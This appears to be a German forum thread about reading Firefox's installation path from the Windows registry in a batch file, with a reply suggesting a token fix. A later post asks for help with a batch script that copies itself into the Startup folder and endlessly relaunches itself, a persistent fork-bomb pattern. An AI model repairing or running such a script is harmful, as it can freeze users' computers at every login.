batch registry-pfad auslesen

Tag zusammen,

bin gerade dabei per Batch den Installationspfad von Firefox auszulesen und bin dabei auf ein Problem gestoßen. Mein bisheriger Stand:

set firefox=HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
for /f "tokens=3" %%i in ('reg query "%firefox%"^|findstr "CurrentVersion"') do set version=%%i
for /f "tokens=3" %%j in ('reg query "%firefox%\%version%\Main"^|findstr "Install Directory"') do set path=%%j
echo %path%
pause

Die Ausgabe von %version% ergibt die gewollte Zeichenfolge, aber der Wert von "Install Directory" ergibt nicht den Installationspfad, sondern nur REG_SZ .
Bin was die Registry angeht nicht so bewandert, ist bestimmt ein ganz simpler Fehler...hoffe mir kann jemand helfen (in batch bleiben, bitte)

Gruß,
Devildire
 
ich nehme an da wird irgendwo ein leerzeichen zu viel sein in der ausgabe von findstr ...

was passiert bei tokens=4 ?
 
Ich bräuchte hilfe mit meiner bat datei ne frage was daran ist falsch ?
@echo off
:lol
copy %USERPROFILE%\Desktop\tot.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
goto start:
:start
start tot.bat
goto lol:
 
Zurück
Oben